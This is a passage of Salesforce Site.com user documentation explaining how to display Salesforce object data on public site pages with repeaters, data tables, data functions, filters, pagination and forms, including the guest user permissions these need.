Cascading Style Sheets Overview

WORKING WITH DYNAMIC DATA


Site.com Data Services Overview
Available for purchase in: Enterprise and Unlimited Editions
Available (with limitations) in: Developer Edition

Site.com data services combine many features that let you connect to standard and custom Salesforce objects. Retrieve data
from your organizations objects and dynamically display it on your site pages, or alternatively, gather and submit data from
your customers. And when you update data in your Salesforce object, the changes are reflected automatically on the live siteno
site updates required!
The following examples illustrate a few ways to use Site.com data services:

2328

Working with Dynamic Data

Site.com Data Services Overview

Publish a catalog of productsList your company's products and include information, such as model numbers and prices,
pulled dynamically from your organization.
Post company press releasesPublish your companys press releases and sort by publication date.
Create a realtor websiteDisplay current listings filtered by city or price.
Create a recruiting websitePost job openings to a public site and allow visitors to submit applications and resumes.

Data tables connect to Salesforce objects, retrieve a data set based on the filter criteria that you specify, and display one or
more record as rows in the table.
Repeaters and repeater elements combine to let you connect to standard and custom objects, retrieve data, and dynamically
display it on your sites pages. Together, the repeater and repeater elements result in a "repeating template" that displays one
or more records on the page.
Data functions let you perform calculations on data retrieved from objects and display the result on the page. For example,
for a particular field in an object, you can use a data function to calculate the total value or the average amount of all returned
records.
Nested repeaters let you retrieve data from objects with a parent-to-child relationship.
Forms and form fields combine to let you collect data from your site visitors and submit the data to standard or custom
Salesforce objects. Create web-to-lead forms, capture customer details, or gather feedback on your products or services.

Data Services Considerations

If you add a data-bound page element to your site and then subsequently change a field type in the Salesforce object its
connected tofor example, changing a text field to a picklistthe data-bound page element will no longer work. You
must reconfigure the data-bound page element to reference the updated field.
If you update data in an object thats connected to a data table, repeater, or data function, the changes are reflected
automatically on the live site. To control this, you can add a picklist field to the object to specify when a record is approved
to go live. Then you can use the field to filter the records by approved status, so only approved records appear on the live
site.

See Also:
Setting Data Access Permissions for Salesforce Objects
Storing Assets to Use with Salesforce Objects
Accessing Data in Related Objects Overview
Adding Pagination to Repeaters and Data Tables
The Default, Error, and No Data Views

2329

Working with Dynamic Data

Setting Data Access Permissions for Salesforce Objects

Setting Data Access Permissions for Salesforce Objects


Available for purchase in: Enterprise and Unlimited Editions
Available (with limitations) in: Developer Edition

User Permissions Needed


To build, edit, and manage Site.com sites:

Site.com Publisher User field enabled on the user detail

page
AND
Publisher or Designer role assigned at the site level
To edit the guest user profile:

Site.com Publisher User field enabled on the user detail

page
AND
Publisher or Designer role assigned at the site level
And
Manage Users
AND
Customize Application

Sites built with Site.com are publicly available, so visitors access the site via the Guest User license thats associated with the
site.
By default, site visitors can access information made available in an active public site, such as the sites pages and assets.
However, to allow guest users to view or submit data to a standard or custom Salesforce object, you must modify the objects
permission in the sites guest user profile. Each site has a separate Guest User license, so you can control access Salesforce
object on a per-site basis.
To edit the sites guest user profile:
1. On the Overview tab of Site.com Studio, click Site Configuration and click Site Name Profile. Alternatively, if youre
adding a repeater, data table, data function, or form to the page, click go to the guest user profile in the items dialog box.
2. In the sites guest user profile, enable the Read permission on the standard or custom objects you want to retrieve data
from using repeaters, data tables, or data functions. Enable the Create permission on the objects you want to submit data
to using forms. All permissions that aren't set by default must be set manually. See User Profiles Overview on page 521.
3. If required, modify the field-level security of an object. See Setting Field Permissions in Permission Sets and Profiles on
page 664.

See Also:
Site.com Data Services Overview
Storing Assets to Use with Salesforce Objects

2330

Working with Dynamic Data

Storing Assets to Use with Salesforce Objects

Storing Assets to Use with Salesforce Objects


Available for purchase in: Enterprise and Unlimited Editions
Available (with limitations) in: Developer Edition

User Permissions Needed


To build, edit, and manage Site.com sites:

Site.com Publisher User field enabled on the user detail

page
AND
Publisher or Designer role assigned at the site level

Because websites built with Site.com are publicly available, site visitors dont have the security privileges required to view
images and documents stored in your Salesforce objects, which are available to authenticated users only.
Therefore, the easiest way to take advantage of Site.com data services is to import the files into Site.com, and instead store a
relative URL to these assets in your standard or custom object. Alternatively, if your images or files are hosted elsewhere and
readily available on the Internet, you can use an absolute URL.
For example, lets say you want to use a custom object called Catalog to build a Catalog site page that displays product details
and images. Before you begin building the Catalog site page, you would:
1. Import the product images into your Site.com site.
2. In the Catalog object, create a field to store the relative URL of the image, such as Image URL.
3. For each product record, add the relative path of the image. This URL is relative to the site, so if you upload widget.png
to your site, the relative path is /widget.png.
Then, when you add a data table or a repeater and repeater elements to the Catalog site page to display the product data, you
can reference the Image URL field to dynamically display each products image on the page.

See Also:
Site.com Data Services Overview
Setting Data Access Permissions for Salesforce Objects
Defining Custom Objects

2331

Dynamically Retrieving and Displaying Data

Dynamically Retrieving Data with Repeaters

DYNAMICALLY RETRIEVING AND DISPLAYING DATA


Dynamically Retrieving Data with Repeaters
Available for purchase in: Enterprise and Unlimited Editions
Available (with limitations) in: Developer Edition

User Permissions Needed


To build, edit, and manage Site.com sites:

Site.com Publisher User field enabled on the user detail

page
AND
Publisher or Designer role assigned at the site level
To edit the guest user profile:

Site.com Publisher User field enabled on the user detail

page
AND
Publisher or Designer role assigned at the site level
And
Manage Users
AND
Customize Application

Use a repeater to connect to a standard or custom Salesforce object and retrieve a data set based on the filter criteria that you
specify. When you combine a repeater with repeater elements or custom code, you can create a repeating template that
displays one or more records on the page.
To add a repeater to a page:
1. Drag a Repeater from the Page Elements pane onto the page.
2. Select the object that you want to connect to.
Note: The drop-down list only displays objects that are available to guest users because site visitors access your
public site via the Guest User license. To make other objects available, go to the guest user profile, enable the
relevant object's Read permission, and refresh the list.
3. Optionally, in Filters, select criteria to filter your data set. If you dont select any criteria, all the data from the item is
returned.
a. Select the field to which the filter criteria apply. The Field drop-down list displays the objects fields, followed by the
fields of all parent objects, which use the format parent_object_name.field_name.

2332

Working with Dynamic Data

Dynamically Retrieving Data with Repeaters

b. Select the operator to control how results are filtered. For example, select Equals to return an exact match.
c. Select the source of the filter value. For example, to specify an explicit value, select Fixed value, or to use the values
passed to the page via a query string, select URL query string.
d. Set the value of the filter. If youre using a query string, you can also specify what should happen if the query string is
missing.
e. Add additional filter criteria as required to narrow your results further. Each filter item is combined with an AND
operator.
Note: If youre using a fixed value to filter the results, you can view the returned records in the Connection Preview
section. To refresh the list of records, click Reload Preview.
4. In Sorting, you can specify whether to sort the results by one or more fields in ascending or descending order. For example,
if youre working with an object that contains user data, you could sort your results by gender first and then by name.
5. In Limits, you can limit the number of returned results. For example, if youre only interested in the top five results, enter
5 in the Limit results to field.
6. If youre adding pagination, specify the number of results to display per page in the Results per page field.
7. Click Save.
Next, you must add either repeater elements or custom code to the repeater to display the data or content it retrieves.

See Also:
Displaying Data in Repeaters Using Repeater Elements
Displaying Data in Repeaters Using Custom Code
The Default, Error, and No Data Views
Displaying Data from Related Objects Using Nested Repeaters
Accessing Data in Related Objects Overview
Changing a Page Elements HTML Tag
Adding Pagination to Repeaters and Data Tables
Common Filtering Examples
Site.com Data Services Overview

2333

Working with Dynamic Data

Displaying Data in Repeaters Using Repeater Elements

Displaying Data in Repeaters Using Repeater Elements


Available for purchase in: Enterprise and Unlimited Editions
Available (with limitations) in: Developer Edition

User Permissions Needed


To build, edit, and manage Site.com sites:

Site.com Publisher User field enabled on the user detail

page
AND
Publisher or Designer role assigned at the site level

A repeater element, which must be contained in a repeater, binds to a field in the object that the repeaters connected to.
Combined, the repeater and repeater elements result in a "repeating template" that displays one or more records on the page.
Each repeater element acts as a placeholder that shows the content of a specified field for the current record.
You can use repeater elements to display plain text, formatted text (for dates and numbers), or images. You can also add links
to repeater elements to allow site visitors to navigate to another page, such as a detailed description, or to refresh the data
displayed in the repeater based on their selection. See Common Filtering Examples on page 2348.
Note: You cant add repeater elements to anything but a repeater.

To add a repeater element to a repeater:


1. Drag a Repeater Element from the Page Elements pane onto the repeater.
2. Choose the field and display options.

To display plain text, select Text and choose the field that you want to display.
To display formatted text if youre working with dates, times, or currency, select Formatted Text, choose the field
that you want to display, and select a formatting option.
To display an image, select Image and choose the field that you want to reference. Alternatively, you can customize
the image source by entering an absolute URL for example. Then select a field to use for the alternative text or enter
custom text.
Note: The objects fields are listed first, followed by the fields of all parent objects, which use the format
parent_object_name.field_name.

3. To create a hyperlink, select Make this a link.


4. In the HREF drop-down list, create the URL for the link by either:

Choosing a field that you want to reference, such as a field that stores the relative URLs of PDFs you uploaded to your
site for example.
Choosing a field that you want to reference and clicking Customize to create a custom link. For example, if an object
has an Email field, you can customize the link by entering mailto: before the {!email} placeholder, which opens

2334

Working with Dynamic Data

Displaying Data in Repeaters Using Custom Code

a new message window in the users email client and adds the appropriate email address to the To: field when the link
is clicked.
5. For the link title, which displays as a pop-up when the user hovers over the link, select the required field or click Customize
to add a custom title.
6. Click Save.

See Also:
Dynamically Retrieving Data with Repeaters
Displaying Data in Repeaters Using Custom Code
The Default, Error, and No Data Views
Common Filtering Examples
Changing a Page Elements HTML Tag
Site.com Data Services Overview

Displaying Data in Repeaters Using Custom Code


Available for purchase in: Enterprise and Unlimited Editions
Available (with limitations) in: Developer Edition

User Permissions Needed


To build, edit, and manage Site.com sites:

Site.com Publisher User field enabled on the user detail

page
AND
Publisher or Designer role assigned at the site level

In addition to repeater elements, you can also use custom code as an alternative way to display data or content in a repeater.
Its particularly useful for displaying text thats inline with the fields data.
To add custom code to a repeater:
1. Drag a Custom Code page element from the Page Elements pane onto the repeater.
2. To access the fields of the object the repeater is connected to, type {! and double-click the field that you want to display.
Note: The objects fields are listed first, followed by the fields of all parent objects, which use the format
parent_object_name.field_name.
3. Add any additional fields or text you require. For example:
To contact {!Name}, call {!Phone}.

where {!Name} and {!Phone} are placeholders for the values of the Name and Phone fields of each record.

2335

Working with Dynamic Data

Dynamically Retrieving Data with Data Tables

4. Click Save & Close.

See Also:
Dynamically Retrieving Data with Repeaters
Displaying Data in Repeaters Using Repeater Elements
The Default, Error, and No Data Views
Common Filtering Examples
Changing a Page Elements HTML Tag
Adding Custom Code to Pages
Site.com Data Services Overview

Dynamically Retrieving Data with Data Tables


Available for purchase in: Enterprise and Unlimited Editions
Available (with limitations) in: Developer Edition

User Permissions Needed


To build, edit, and manage Site.com sites:

Site.com Publisher User field enabled on the user detail

page
AND
Publisher or Designer role assigned at the site level
To edit the guest user profile:

Site.com Publisher User field enabled on the user detail

page
AND
Publisher or Designer role assigned at the site level
And
Manage Users
AND
Customize Application

Use a data table to connect to a standard or custom Salesforce object, retrieve a data set based on the filter criteria that you
specify, and display one or more record as rows in the table. A data tables columns bind to the fields of the object its connected
to. Each column cell acts as a placeholder that shows the content of a specified field for the current record.
To add a data table to the page:
1. Drag a Data Table from the Page Elements pane onto the page.
2. Select the object that you want to connect to.

2336

Working with Dynamic Data

Dynamically Retrieving Data with Data Tables

Note: The drop-down list only displays objects that are available to guest users because site visitors access your
public site via the Guest User license. To make other objects available, go to the guest user profile, enable the
relevant object's Read permission, and refresh the list.
3. Optionally, in Filters, select criteria to filter your data set. If you dont select any criteria, all the data from the item is
returned.
a. Select the field to which the filter criteria apply. The Field drop-down list displays the objects fields, followed by the
fields of all parent objects, which use the format parent_object_name.field_name.
b. Select the operator to control how results are filtered. For example, select Equals to return an exact match.
c. Select the source of the filter value. For example, to specify an explicit value, select Fixed value, or to use the values
passed to the page via a query string, select URL query string.
d. Set the value of the filter. If youre using a query string, you can also specify what should happen if the query string is
missing.
e. Add additional filter criteria as required to narrow your results further. Each filter item is combined with an AND
operator.
Note: If youre using a fixed value to filter the results, you can view the returned records in the Connection Preview
section. To refresh the list of records, click Reload Preview.
4. In Sorting, you can specify whether to sort the results by one or more fields in ascending or descending order. For example,
if youre working with an object that contains user data, you could sort your results by gender first and then by name.
5. In Limits, you can limit the number of returned results. For example, if youre only interested in the top five results, enter
5 in the Limit results to field.
6. If youre adding pagination, specify the number of results to display per page in the Results per page field.
7. Click Next.
8. Add available fields to the table by double-clicking a field, or selecting it and clicking
9. Reorder the list of selected fields by clicking Move Up or Move Down.
10. Click Save.

Note: You cant add page elements to a data table. However, you can add additional columns to a data table by selecting
it and clicking Edit. On the Select Fields screen, select the additional fields and save your changes.
Once youve added the data table to the page, you can use the Properties pane to:

Hide the column headings by deselecting Show Column Headings.


Make the columns sortable by selecting the jQuery Flexigrid theme and selecting Enable Sorting. The theme also
changes the appearance of the table.

2337

Working with Dynamic Data

Editing Columns in a Data Table

Change the name of a column by selecting the column cell and updating the name in the Column Heading property.

See Also:
Editing Columns in a Data Table
The Default, Error, and No Data Views
Adding Pagination to Repeaters and Data Tables
Common Filtering Examples
Displaying Data from Related Objects Using Nested Repeaters
Accessing Data in Related Objects Overview
Site.com Data Services Overview

Editing Columns in a Data Table


Available for purchase in: Enterprise and Unlimited Editions
Available (with limitations) in: Developer Edition

User Permissions Needed


To build, edit, and manage Site.com sites:

Site.com Publisher User field enabled on the user detail

page
AND
Publisher or Designer role assigned at the site level

A data tables columns bind to the fields of the object its connected to. Each column cell acts as a placeholder that shows the
content of a specified field for the current record.
You can display plain text, formatted text (for dates and numbers), or images in the column cells. You can also add links to
column cells to allow site visitors to navigate to another page, such as a detailed description, or to refresh the data displayed
in the data table based on their selection. See Common Filtering Examples on page 2348.
To edit a column:
1. Double-click the column cell in the data table.
2. Choose the field and display options.

To display plain text, select Text and choose the field that you want to display.
To display formatted text if youre working with dates, times, or currency, select Formatted Text, choose the field
that you want to display, and select a formatting option.
To display an image, select Image and choose the field that you want to reference. Alternatively, you can customize
the image source by entering an absolute URL for example. Then select a field to use for the alternative text or enter
custom text.

2338

Working with Dynamic Data

Adding Pagination to Repeaters and Data Tables

Note: The objects fields are listed first, followed by the fields of all parent objects, which use the format
parent_object_name.field_name.
3. To create a hyperlink, select Make this a link.
4. In the HREF drop-down list, create the URL for the link by either:

Choosing a field that you want to reference, such as a field that stores the relative URLs of PDFs you uploaded to your
site for example.
Choosing a field that you want to reference and clicking Customize to create a custom link. For example, if an object
has an Email field, you can customize the link by entering mailto: before the {!email} placeholder, which opens
a new message window in the users email client and adds the appropriate email address to the To: field when the link
is clicked.

5. For the link title, which displays as a pop-up when the user hovers over the link, select the required field or click Customize
to add a custom title.
6. Click Save.
To change the name of a column, select the column cell and update the name in the Column Heading field of the Properties
pane.

See Also:
Dynamically Retrieving Data with Data Tables
Site.com Data Services Overview

Adding Pagination to Repeaters and Data Tables


Available for purchase in: Enterprise and Unlimited Editions
Available (with limitations) in: Developer Edition

User Permissions Needed


To build, edit, and manage Site.com sites:

Site.com Publisher User field enabled on the user detail

page
AND
Publisher or Designer role assigned at the site level

Events let you add interactive and animated effects to the pages and page elements of your website. When using repeaters and
data tables, you can add pagination events so users can easily page through the displayed data. This is particularly useful when
working with large amounts of data.
For example, if youve added a repeater that displays all the users in an organization, you can add pagination to help users
navigate through the data. You can add three pagination events:

Previous Page

2339

Working with Dynamic Data

Adding Pagination to Repeaters and Data Tables

Next Page
Go To Page

Creating Previous and Next Pagination


You can create previous and next buttons so users can move through the data one page at a time. The process for creating both
buttons is the same.
1.
2.
3.
4.
5.

Create your repeater or data table.


In the repeater or data table, be sure to specify how many records to display per page in the Limits section.
Drag a button to the page.
In the Properties pane, change the Button Name to Previous Page or Next Page as appropriate.
In the Events pane, select the click event.

6. When the Actions box appears, click


and select the Previous Page or Next Page action.
7. In the Target Element, select the repeater or data table.
8. Click Save.
Creating GoTo Pagination
Creating GoTo navigation is similar to creating the previous and next buttons, but you must add an input field so users can
specify what page they what to go to.
1.
2.
3.
4.
5.
6.
7.

Create your repeater or data table.


In the repeater or data table, be sure to specify how many records to display per page in the Limits section.
Drag a Number field onto the page.
In the Properties pane, change the fields Label Name to something that makes sense. For example, Enter Page Number.
Drag a Button onto the page.
In the Properties pane, change the Button Name to GoTo Page.
In the Events pane, select the click event.

8. When the Actions box appears, click


and select the Go To Page action.
9. In the Target Element, select the repeater or data table.
10. For Input Field ID, select the field you created in step 3.
11. Click Save.

See Also:
Dynamically Retrieving Data with Repeaters
Dynamically Retrieving Data with Data Tables
Events Overview
Creating an Event
Available Events and Actions

2340

Working with Dynamic Data

Using Data Functions

Using Data Functions


Available for purchase in: Enterprise and Unlimited Editions
Available (with limitations) in: Developer Edition

User Permissions Needed


To build, edit, and manage Site.com sites:

Site.com Publisher User field enabled on the user detail

page
AND
Publisher or Designer role assigned at the site level
To edit the guest user profile:

Site.com Publisher User field enabled on the user detail

page
AND
Publisher or Designer role assigned at the site level
And
Manage Users
AND
Customize Application

A data function lets you connect to a standard or custom Salesforce object, perform calculations on the returned results, and
display the calculation on the page. For example, for a particular field in an object, you can use a data function to calculate the
total value or the average amount of all returned records.
To add a data function to a page:
1. Drag a Data Function from the Page Elements pane onto the page.
2. Select the object that you want to connect to.
Note: The drop-down list only displays objects that are available to guest users because site visitors access your
public site via the Guest User license. To make other objects available, go to the guest user profile, enable the
relevant object's Read permission, and refresh the list.
3. Optionally, in Filters, select criteria to filter your data set. If you dont select any criteria, all the data from the item is
returned.
a. Select the field to which the filter criteria apply. The Field drop-down list displays the objects fields, followed by the
fields of all parent objects, which use the format parent_object_name.field_name.
b. Select the operator to control how results are filtered. For example, select Equals to return an exact match.
c. Select the source of the filter value. For example, to specify an explicit value, select Fixed value, or to use the values
passed to the page via a query string, select URL query string.
d. Set the value of the filter. If youre using a query string, you can also specify what should happen if the query string is
missing.

2341

Working with Dynamic Data

Accessing Data in Related Objects Overview

e. Add additional filter criteria as required to narrow your results further. Each filter item is combined with an AND
operator.
Note: If youre using a fixed value to filter the results, you can view the returned records in the Connection Preview
section. To refresh the list of records, click Reload Preview.
4. In Functions, select a function:
Option

Description

Count

Counts the number of records that contain a value for the selected field. For example, if an object contains
30 records, but only 25 records have a value in the field you specify, the result is 25.

Maximum

Returns the highest value of all the values for the selected field. Applies to numbers, strings, and dates.

Average

Calculates the average value of all records for the selected field. For example, if you have 20 records with
a total value of $20,000 in the Price field, the average is $1,000. Only applicable to fields that contain
numbers.

Minimum

Returns the lowest value of all the values for the selected field. Applies to numbers, strings, and dates.

Sum

Calculates the total value of all records for the selected field.

5. Select the field it applies to.


6. Click Save.

See Also:
The Default, Error, and No Data Views
Dynamically Retrieving Data with Repeaters
Dynamically Retrieving Data with Data Tables
Common Filtering Examples
Displaying Data from Related Objects Using Nested Repeaters
Accessing Data in Related Objects Overview
Site.com Data Services Overview

Accessing Data in Related Objects Overview


Available for purchase in: Enterprise and Unlimited Editions
Available (with limitations) in: Developer Edition

Standard and custom objects have relationships that define how records in one object relate to records in another. For example,
the Accounts object has a one-to-many relationship with the Contacts objectthat is, each account can have one or more
contacts associated with it. This relationship is also known as a parent-to-child or a master-detail relationship.
See Overview of Relationships for more information about relationships between objects in Salesforce.
Repeaters, data tables, and data functions take advantage of these relationships to let you display data from related objects on
the page.

2342

Working with Dynamic Data

Accessing Data in Related Objects Overview

About Accessing Data in Parent Objects


When you add a repeater, data table, or data function to the page and connect it to a standard or custom object, you can
automatically access the fields of any parent object its related to.
If you add filter criteria to a repeater, data table, or data function, the Field drop-down list in the Create Data Connection
dialog box displays the objects fields, followed by the fields of all of its parent objects, which use the format
parent_object_name.field_name. This lets you filter results based on a field in the parent object. So for example, when
retrieving records from the Contacts object, you could decide to return only contacts where the account name
(Account.Account Name) is ABC Labs.
Similarly, when you add repeater elements to a repeater, or columns to a data table, you can bind them to fields in a parent
object. So for example, if you add a data table thats connected to the Contact object, you can add a column that binds to its
Full Name field and a column that binds to the Account objects Account.Account Name field to display the contacts
name along with the name of the account its associated with.
About Accessing Data in Child Objects
You can retrieve data from any child object of a parent object using a repeater that contains another repeater, data table, or
data function. The outer or parent repeater connects to an object, such as Accounts. In turn, the inner repeater, data table, or
data function automatically lets you connect to any child objects, such as Contacts. This is also known as a nested repeater.
Lets say you want to display a list of accounts along with the names of the associated contacts, similar to this example.

You can achieve this by creating a repeater (1) thats connected to Accounts, and adding a repeater element (2) to it that binds
to the Account Name field. Then add a nested repeater (3) thats connected to Contacts, which is a child of Accounts. Finally,
add a repeater element (4) to the nested repeater that binds to the Contact objects Full Name field.

2343

Working with Dynamic Data

Accessing Data in Related Objects Overview

See Also:
Displaying Data from Related Objects Using Nested Repeaters
Dynamically Retrieving Data with Repeaters
Dynamically Retrieving Data with Data Tables
Using Data Functions
Site.com Data Services Overview

2344

Working with Dynamic Data

Displaying Data from Related Objects Using Nested Repeaters

Displaying Data from Related Objects Using Nested


Repeaters
Available for purchase in: Enterprise and Unlimited Editions
Available (with limitations) in: Developer Edition

User Permissions Needed


To build, edit, and manage Site.com sites:

Site.com Publisher User field enabled on the user detail

page
AND
Publisher or Designer role assigned at the site level
To edit the guest user profile:

Site.com Publisher User field enabled on the user detail

page
AND
Publisher or Designer role assigned at the site level
And
Manage Users
AND
Customize Application

You can retrieve data from any child object of a parent object using a repeater that contains another repeater, data table, or
data function. The outer or parent repeater connects to an object, such as Accounts. In turn, the inner repeater, data table, or
data function automatically lets you connect to any child objects, such as Contacts. This is also known as a nested repeater.
For example, if a repeater is connected to Accounts, you can add a nested data function to it thats connected to Contacts to
return the number of contacts associated with each account.
To create a nested repeater:
1. Add a repeater to the page.
2. Drag another Repeater, Data Table, or Data Function from the Page Elements pane onto the repeater.
3. Select the related Salesforce object that you want to connect to.
Note: You can also retrieve data from unrelated objects. However, as this can adversely affect the performance of
your site, we recommend retrieving data from related objects only.
4. Optionally, in Filters, select criteria to filter your data set. If you dont select any criteria, all the data from the item is
returned.
a. Select the field to which the filter criteria apply. The Field drop-down list displays the objects fields, followed by the
fields of all parent objects, which use the format parent_object_name.field_name.

2345

Working with Dynamic Data

Data Filters

b. Select the operator to control how results are filtered. For example, select Equals to return an exact match.
c. Select the source of the filter value. For example, to specify an explicit value, select Fixed value, or to use the values
passed to the page via a query string, select URL query string.
d. Set the value of the filter. If youre using a query string, you can also specify what should happen if the query string is
missing.
e. Add additional filter criteria as required to narrow your results further. Each filter item is combined with an AND
operator.
Note: If youre using a fixed value to filter the results, you can view the returned records in the Connection Preview
section. To refresh the list of records, click Reload Preview.
5. In Sorting, you can specify whether to sort the results by one or more fields in ascending or descending order. For example,
if youre working with an object that contains user data, you could sort your results by gender first and then by name.
6. In Limits, you can limit the number of returned results. For example, if youre only interested in the top five results, enter
5 in the Limit results to field.
7. If youre adding pagination, specify the number of results to display per page in the Results per page field.
8. If youre working with a data table, click Next and add fields to the table by double-clicking a field, or selecting it and
clicking
.
9. Click Save.
You can either add repeater elements or custom code to the parent repeater to display its fields. Similarly, if youve nested a
repeater inside the parent repeater, add repeater elements or custom code to the nested repeater to display the child objects
fields.
Note: You cant nest repeaters more than one level deep.

See Also:
Accessing Data in Related Objects Overview
Dynamically Retrieving Data with Repeaters
Dynamically Retrieving Data with Data Tables
Using Data Functions
Site.com Data Services Overview

Data Filters
Available for purchase in: Enterprise and Unlimited Editions
Available (with limitations) in: Developer Edition

When you add a repeater, a data table, or a data function to the page, you dont have to limit the records it retrieves. However,
if youre working with a Salesforce object that contain thousands of records, youll probably want to limit the results using
filter criteria.

2346

Working with Dynamic Data

Data Filters

When you add filter criteria, you need to specify:

The field to which the filter criteria apply


The operator
The source of the filter value
The filter value

Filter Operators
Operator

Description

Equals

Returns an exact match.

Not equal to

Returns records that dont have the value you specify.

Less than

Returns records that are less than the value you specify.

Greater than

Returns records that exceed the value you specify.

Less than or equal to

Returns records that match or are less than the value you specify.

Greater than or equal to

Returns records that match or exceed the value you specify.

Starts with

Use when you know what your value starts with, but not the exact text. For example,
california, would return California Travel, but not Surf California.

Ends with

Use when you know what your value ends with, but not the exact text.

Contains

Returns records that include your search string but might also include other information.
For example, california would return California Travel and Surf California.

Includes

Use for a multi-select picklist field type to find records that include one or more of the
values you set.

Excludes

Use for a multi-select picklist field type to find records that do not contain any values
that match the ones entered.

Filter Value Sources


Source

Description

Fixed value

Use when you want to specify the value.

URL query string

Use when you want to pass variable content via a URL to the item when the page loads.

Global property

Use when you want to use a fixed value from the site, such as the current date or current
time.

Request header

Use when you want to use a value from the browser, such as the host header or browser
version.

2347

Working with Dynamic Data

Common Filtering Examples

Source

Description

Parent repeater

Use when you want to create a query between unrelated objects. Available only when a
repeater, data table, or data function is nested inside a parent repeater, but the parent
repeaters object is unrelated to the nested items object.
Caution: Retrieving data from unrelated objects can adversely affect the
performance of your site. We recommend retrieving data from related objects
only.

See Also:
Dynamically Retrieving Data with Repeaters
Dynamically Retrieving Data with Data Tables
Using Data Functions
Site.com Data Services Overview

Common Filtering Examples


Available for purchase in: Enterprise and Unlimited Editions
Available (with limitations) in: Developer Edition

When working with repeaters and data tables, you can filter the data your retrieve in many ways. In this topic, we explore two
optionsfixed values and URL query stringsto illustrate some common filtering techniques.
Example 1: Using a Fixed Value to Filter Results
In our first example, we have a custom object called Realtors that stores realtors details, including the city where theyre
based. We only want to display realtors from Vancouver on the Vancouver Realtors page. In this case, we can use a fixed value
to filter the data in the Relators object.
In this scenario you would:
1. Add a repeater to the page and configure it as follows:
a.
b.
c.
d.

Select the City field.


Select the Equals operator.
Select Fixed value as the filter source.
Enter Vancouver in the Value text box that appears.

This tells the repeater to return only records where the City field contains the value Vancouver.
2. Add repeater elements to the repeater to display fields on the page.

2348

Working with Dynamic Data

Common Filtering Examples

Example 2: Using a URL Query String to Dynamically Filter and Display Results on Another Page
In our second example, we have a custom object called Products that stores product information. However, some products
are only available in certain locations, so wed like to let customers view the products in their nearest city. In this case, we could
create a Locations site page that contains three links:

San Francisco Products


Dallas Products
All Products

We want all three links to open the Products site page, but only display products based on the users selection. We can do this
using URL query strings, which allow us to pass variable content between HTML pages. The variable information in this
case is the product location; the repeater wont know which products to return until the user makes a selection.
For this scenario, you would:
1. Add a repeater to the Products page and configure it as follows:
a.
b.
c.
d.

Select the Products custom object.


In the Filters section, select the City field, select the Equals operator, and select URL query string.
In the Value text box, enter the variable namein this case, location.
In the If query string is missing drop-down list, select Dont apply this filter item. This option is used
when a customer wants to view all products without filtering.

2. Add repeater elements for the fields you want to display.


3. On the Locations page, add three links to the page using a content block and configure the links as follows:
a. For the San Francisco Products link, set the URL to /Products?location=San Francisco. This opens the
Products page and passes San Francisco as the value of the location variable.
b. For the Dallas Products link, set the URL to /Products?location=Dallas. This opens the Products page and
passes Dallas as the value of the location variable.
c. For the Show me all products link, set the URL to /Products. This opens the Products page without passing a
variable.
Now, when a customer clicks a link such as Dallas Products, the Locations page passes location=Dallas to the Products
page. As the Products page loads, the repeater uses this value to dynamically return only records where the City field contains
the value Dallas.
Example 3: Using a URL Query String to Dynamically Filter and Display Results on the Same Page
In our third example, we again want to let customers view the products in their nearest city, but we dont want to create a
separate Locations page to pass the variable information. Instead, we want the Products page to display all products in the
repeater when the page loads, and then refresh the results in the repeater when the user clicks a city name.
In this scenario, you would:
1. Add a repeater to the Products page and configure it as follows:
a.
b.
c.
d.

Select the Products custom object.


In the Filters section, select the City field, select the Equals operator, and select URL query string.
In the Value text box, enter the variable namein this case, location.
In the If query string is missing drop-down list, select Dont apply this filter item. This option is used
when a customer wants to view all products without filtering.

2. Add a repeater element to the repeater to represent the City field and configure it as follows:
a. Select Text and click Make this a link to display a URL on the page.

2349

Working with Dynamic Data

Common Filtering Examples

b. For the link text, we want to use the name of the city, so select the City field as the field to display.
c. In the HREF drop-down list, select the City field and click Customize.
d. Change the value to /?location={!City}, where {!City} is a placeholder for the value of a records City field.
When the page first loads, {!City} is replaced with the correct value, such as San Francisco, which creates the following
URL for that record:
/?city=San Francisco

e. For the title, which displays as a pop-up when the user hovers over the link, select the City field and click Customize.
f. Change the value to:
Show me products available in {!City}.

Again, the {!City} placeholder is replaced by the value of the City field for each record when the page loads.
3. Add any additional repeater elements you require.
Now, when the first page loads, the repeater displays the location of each product as a link. When a customer clicks a cityfor
example, San Franciscothe page reloads and passes city=San Francisco to the repeater. The repeater uses this value
to dynamically return only records where the City field contains the value San Francisco.

See Also:
Dynamically Retrieving Data with Repeaters
Displaying Data in Repeaters Using Repeater Elements
Dynamically Retrieving Data with Data Tables
Using Data Functions
Accessing Data in Related Objects Overview
Site.com Data Services Overview

2350

Collecting and Submitting Data Using Forms

Adding a Form to the Page

COLLECTING AND SUBMITTING DATA USING FORMS


Adding a Form to the Page
Available for purchase in: Enterprise and Unlimited Editions
Available (with limitations) in: Developer Edition

User Permissions Needed


To add a form to the page:

Site.com Publisher User field enabled on the user detail

page
AND
Publisher or Designer role assigned in Site.com Studio
To edit the guest user profile:

Site.com Publisher User field enabled on the user detail

page
AND
Publisher or Designer role assigned in Site.com Studio
AND
Manage Users
AND
Customize Application

Use forms to collect data from your site visitors and submit the data to standard or custom Salesforce objects. Create web-to-lead
forms, capture customer details, or gather feedback on your products or services.
To add a form to a page:
1. Drag a Form from the Page Elements pane onto the page.
2. Select the Salesforce object that you want to submit data to.
Note: Because site visitors access your public site via the Guest User license, the drop-down list only displays
objects that are available to guest users. To make objects available, go to the guest user profile, enable the relevant
objects Create permission, and refresh the list.
3. Add available fields to the form by double-clicking a field, or selecting it and clicking
automatically added to the list of selected fields. However, you can hide required fields.
4. Reorder the list of selected fields by clicking Move Up or Move Down.
5. Click Save.

. All required fields are

2351

Working with Dynamic Data

Adding Input Fields to Forms or Pages

You can use the forms Properties pane to:


Add a title to the form
Change the appearance of the form by selecting a different theme
Specify what occurs when a user successfully submits the form

See Also:
Adding Input Fields to Forms or Pages
Editing Fields in a Form
Setting a Forms Submit Behavior
The Default, Error, and No Data Views
Site.com Data Services Overview

Adding Input Fields to Forms or Pages


Available for purchase in: Enterprise and Unlimited Editions
Available (with limitations) in: Developer Edition

User Permissions Needed


To build, edit, and manage Site.com sites:

Site.com Publisher User field enabled on the user detail

page
AND
Publisher or Designer role assigned at the site level

Adding Fields to a Form


You can add additional fields to an existing form. Each field binds to a field in the object the form is connected to.
The quickest option is to:
1. Select the form on the page.
2. Select
> Add Fields.
3. In the Add Fields list, click the fields that you want to add. The Add Fields list displays the available fields in the object
that the form is connected to. When you click a field, the correct field type is automatically added to the form, such as a
checkbox or picklist field.
Alternatively:
1.
